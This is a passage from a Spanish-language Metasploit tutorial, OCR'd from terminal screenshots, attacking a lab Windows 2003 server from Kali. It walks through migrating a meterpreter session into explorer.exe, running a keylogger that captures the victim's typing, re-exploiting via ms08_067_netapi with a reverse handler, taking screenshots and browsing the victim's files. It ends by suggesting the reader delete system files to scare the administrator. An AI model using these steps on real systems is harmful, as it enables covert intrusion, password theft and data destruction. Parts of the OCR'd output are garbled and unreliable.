1652 380 svchos	st.exe x86	Θ	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32
\svchost.exe				
2128 632 wmiprv	/se.exe x86	Θ	INT AUTHORITY SYSTEM	C:\WINDOWS\system32
\wbem\wmiprvse.exe		L		
2196 892 wuauc1	t.exe x86	Θ	CURSOSEGURIDAD\Administrator	C:\WINDOWS\system32
\wuauclt.exe				
3168 332 logon.	.scr x86	Θ	CURSOSEGURIDAD\Administrator	C:\WINDOWS\System32
\logon.scr				

### <u>meterpreter</u> > ps

Hay un proceso que es el explorer, lo buscamos y miramos que número de proceso tiene o PID, en este caso el 252. El explorer es el proceso que en los sistemas Windows muestra la interface gráfica. Un claro ejemplo es cuando en el escritorio no nos aparecen los iconos, esto es debido a un fallo de este proceso.

				root@kal	i: ~	_ 🗆 X
Archive	o Editar	Ver Buscar Termir	nal Ayu	ida		
PID	PPID	Name	Arch	Session	User	Path
A	0	[System Process]		4294967295		27/27/2
4	0 380	System sychost exe	x86	0 0	NT AUTHORITY\SYSTEM	C+\WINDOWS\Svetem32
\svchc	st.exe	3701030.070	100	Č.	AT ACTION TO CONSTRUCT	G. (MINDOND (D) SCOND2
252 .EXE	152	explorer.exe	x86	Θ	CURSOSEGURIDAD\Administrator	C:\WINDOWS\Explorer
260	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System3
2\smss	.exe					
308	260	csrss.exe	x86	Θ	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\syst
em32\c	srss.e	xe				
332	260	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\syst
em32\w	vinlogo	n.exe				
380	332	services.exe	x86	Θ	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32
\servi	ces.ex	e				
392	332	lsass.exe	x86	97700	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32
\lsass	.exe					Second and a second
592	380	VBoxService.exe	x86	0-1-1-1-1-	INT AUTHORITY/SYSTEM	C:\WINDOWS\system32
\VBoxS	Service	.exe				
632	380	svchost.exe	x86	Θ	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32
\svchc	st.exe					NUMBER OF STREET
768	380	svchost.exe	x86	Θ	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32
\svchc	st.exe					
824	380	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32
\svchc	st.exe					

Ahora redirigimos ese proceso hacia nosotros con el comando migrate para controlar su explorer (nada que ver con Internet Explorer). Escribimos migrate PID (en mi caso 252).

						root@ka	li: ~		
Archivo	Editar	Ver	Buscar	Terminal	Ayuda				
1172	380	spool	lsv.exe	>	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
\spool:	sv.exe								
1200	380	msdt	c.exe	)) ))	86 0		NT	AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32
\msdtc	.exe								
1276	380	dfss	vc.exe	X	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
\Dfssv	c.exe								
1328	380	svch	ost.exe	>	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
\svcho:	st.exe								
1392	380	ismse	erv.exe	>	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
\ismse	rv.exe								
1404	380	ntfr	s.exe	>	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
\ntfrs	.exe								
1484	380	sycho	ost.exe	>	86 0		NT	AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32
\svchos	st.exe								
1652	380	sycho	ost.exe	5	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
\svcho	st.exe	~							
2128	632	wmip	rvse.exe	e s	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
\whem\	mipry	Se exe	2						
2196	892	wuau	clt.exe		86 0		reu	RS0SEGURIDAD\Administrator	C:\WINDOWS\system32
\willauc]	t eve	maaaa				Y ( AA			or (intributio (o))) compe
3168	332	1.000	n err		86 0	MAL		RSOSEGURIDAD Administrator	C .\WINDOWS\Svstem32
10000	eer	cogoi	1.301	~	.00 0			1303E00HTBAD (Rdm1H13C) dt01	6. (#1100#3 (3)308#32
(Logon	. 361								
			ante OE'	2					
meterp	eter :	> mig	ate 25.	050			_		
L MI	grating	g troi	1 892 to	252					

[\*] Migration completed successfully. meterpreter >

Ahora le vamos a meter un keylogger. Los Keyloggers son programas que nos muestra que está haciendo la víctima. Lo normal es que muestren todas las pulsaciones del teclado, inclutendo contraseñas. Muchos Keyloggers nos permiten configurarlos para que cada cierto tiempo nos mande a un correo electrónico que le indiquemos toda esa información, incluso con pantallas de lo que la víctima está viendo. Vamos a usar el keyscan que es muy sencillo, ponemos keyscan\_start.

						root@kali:	~		
Archivo	Editar	Ver B	uscar	Terminal	Ayuda				
1200	380	msdtc.e	exe	x	86 0		NT	AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32
\msdtc	.exe	dfeeue			06 0		МΤ		
12/0	380	arssvc	.exe	x	80 0		NI	AUTHORITT(STSTEM	C:\WINDOWS\System32
1328	380	sychost	.exe	x	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
svchos	st.exe								
1392	380	ismserv	.exe	x	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
ismse	rv.exe								
1404	380	ntfrs.	exe	x	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
\ntfrs	.exe				~~ ~				
1484	380	svchost	t.exe	X	86 0		NT.	AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32
1652	380	sychost	.exe	x	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
svchos	st.exe								
2128	632	wmiprvs	se.exe	x	86 0		NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
wbem\w	wmiprv	se.exe							
2196	892	wuauclt	t.exe	X	86 0		CUF	RSOSEGURIDAD\Administrator	C:\WINDOWS\system32
wuauc	lt.exe								
3168	332	logon.s	scr	x	86 0	VIDD	CUP	RSOSEGURIDAD\Administrator	C:\WINDOWS\System32
logon	.scr								
						السبالية إساليا ا			
netern	ratar	> migrat	a 252						
[*] Mid	aratin	a from 8	392 to	252					
* Mid	aratio	n comple	eted s	uccessf	ullv.				
neterp	reter :	> keysca	an sta	rt					
Startin	ng the	keystro	oke sn	iffer					
neterp	reter	>							

Para ver que realmente nos está funcionando, vamos a hacer también de víctima y abrimos el Windows 2003 y escribimos algo en el notepad, lo que sea.



Vamos al Metasploit de nuevo y ecribimos keyscan\_dump para que muestre los resultados hasta ese momento y vemos que muestra lo que se puso en 2003 server.

					root@kali: ~	dan -	_ = ×
Archivo Editar	Ver	Buscar	Terminal	Ayuda			
\Dfssvc.exe 1328 380	svcho	st.exe	×	86 0	NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
\svchost.exe 1392 380	ismse	rv.exe	×	86 0	NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
1404 380	ntfrs	.exe	×	86 0	NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
1484 380	svcho	st.exe	x	86 0	NT	AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32
\svchost.exe 1652 380	svcho	st.exe	x	86 0	NT	AUTHORITY\SYSTEM	C:\WINDOWS\System32
\svchost.exe 2128 632	wmipr	vse.exe	e x	86 0	NT	AUTHORITY\SYSTEM	C:\WINDOWS\system32
2196 892	wuauc	lt.exe	×	86 0	CU	RSOSEGURIDAD\Administrator	C:\WINDOWS\system32
\wuauclt.exe 3168 332 \logon.scr	logon	.scr	×	86 0	CUI	RSOSEGURIDAD\Administrator	C:\WINDOWS\System32
meterpreter [*] Migratin [*] Migratio meterpreter Starting the meterpreter sdegráficos. capt Hola amigos. meterpreter	> migr g from n comp > keyst keyst > keys vred k <retu &gt;</retu 	ate 252 892 to leted s can_sta roke sr can_dur eystrok	2 5 252 successf art niffer np kes	ully.	Anter you become	LONOX a. the more you are able to hear.	

Ahora veremos todo cuanto escriba por el teclado nuestra víctima. En el server hacemos lo que sea, como escribir algo en un block de notas.



Ahora vamos a sacar un pantallazo de lo que está haciendo. Para ello usamos el comando screenshot que se encarga de realizar capturas de pantalla.

	root@kali: ~	_ <b>=</b> ×
Archivo Editar Ver Buscar Terminal A	yuda	
<pre>meterpreter &gt; [*] 192.168.20.31 - Meterpreter se</pre>	ssion 1 closed. Reason: Died	
<u>msf</u> exploit(ms08_067_netapi) > exp	loit	
<pre>[*] Started reverse handler on 192 [*] Automatically detecting the ta [*] Fingerprint: Windows 2003 R2 - [*] We could not detect the langua [*] Selected Target: Windows 2003 S [*] Attempting to trigger the vulne [*] Sending stage (769536 bytes) to [*] Meterpreter session 2 opened ( +0100</pre>	.168.20.21:4444 rget Service Pack 2 - lang:Unknown ge pack, defaulting to English SP2 English (NX) erability o 192.168.20.31 192.168.20.21:4444 -> 192.168.20.31	:3625) at 2015-01-15 12:21:34
<u>meterpreter</u> > keyscan_start Starting the keystroke sniffer <u>meterpreter</u> > keyscan_dump Dumping captured keystrokes <u>meterpreter</u> > keyscan_dump Dumping captured keystrokes	The gueter you become, the more you are able to b	Testr:
<pre>meterpreter &gt; screemshot [-] Unknown command: screemshot. meterpreter &gt; screenshot Screenshot saved to: /root/MfNyYVb meterpreter &gt;</pre>	c.jpeg	
🗵 root@kali: ~		

Esto nos da el directorio donde meterá nuestro pantallazo y el nombre de jpeg. Accedemos desde Kali a ese archivo y abrimos el jpeg. Vemos que sale exactamente la misma pantalla que hay abierta en el Windows 2003.



Ahora en el meterpreter usamos los comandos básicos de linux para movernos dentro del sistema de la víctima. Por ejemplo pwd para ver el directorio del Windows 2003 en el que estamos y ls para listarlo y que nos muestre el contenido.

			root@kali: ~	- 8
Archivo Editar Ver	Buscar	Terminal	Ayuda	
Dumping captured	keystro	kes		
matararatar > pur				
C·\WINDOWS\system	132			
meterpreter > ls				
	and the second	120001000		
Listing: C:\WINDC	WS\syst	em32		
Mode	Size	Type	last modified	Name
			East montheast	
100666/rw-rw-rw-	240	fil	2015-01-12 07:12:13 +0100	\$winnt\$.inf
40777/rwxrwxrwx	0	dír	2015-01-15 09:09:28 +0100	
40777/rwxrwxrwx	Θ	dir	2015-01-11 22:30:07 +0100	
40777/rwxrwxrwx	0	dir	2015-01-11 22:59:43 +0100	1025
40777/rwxrwxrwx	0	dir	2015-01-11 22:59:43 +0100	1028
40777/rwxrwxrwx	Θ	dir	2015-01-11 22:59:43 +0100	1031
40777/rwxrwxrwx	Θ	dir	2015-01-11 23:00:17 +0100	1033
40777/rwxrwxrwx	0	dir	2015-01-11 22:59:43 +0100	1037100
40777/rwxrwxrwx	0	dir	2015-01-11 22:59:43 +0100	1041)
40777/rwxrwxrwx	Θ	dir	2015-01-11 22:59:43 +0100	
40777/rwxrwxrwx	Θ	dir	2015-01-11 22:59:43 +0100	1054
100666/rw-rw-rw-	2151	fil	2005-11-30 13:00:00 +0100	12520437.cpx
100666/rw-rw-rw-	2233	fil	2005-11-30 13:00:00 +0100	12520850.cpx
40777/rwxrwxrwx	0	dir	2015-01-11 22:59:43 +0100	2052
40777/rwxrwxrwx	Θ	dir	2015-01-11 22:59:43 +0100	3076
40777/rwxrwxrwx	0	dir	2015-01-11 22:59:43 +0100	3com dmi
nágenes y archivos de gráfico	s. 19840	fil	2007-02-17 10:16:08 +0100	6to4svc.dll
	_			
E root@kali: -				123

Ya podemos entrar en su sistema para borrarle archivos del sistema o de datos y matar de un susto al administrador. Metasploit es mucho más amplio, iré ampliando cosillas cuando tenga tiempo, pero antes quiero sacar la guía de Armitage, es una aplicación gráfica para Metasploit que os resultará más sencilla de usar.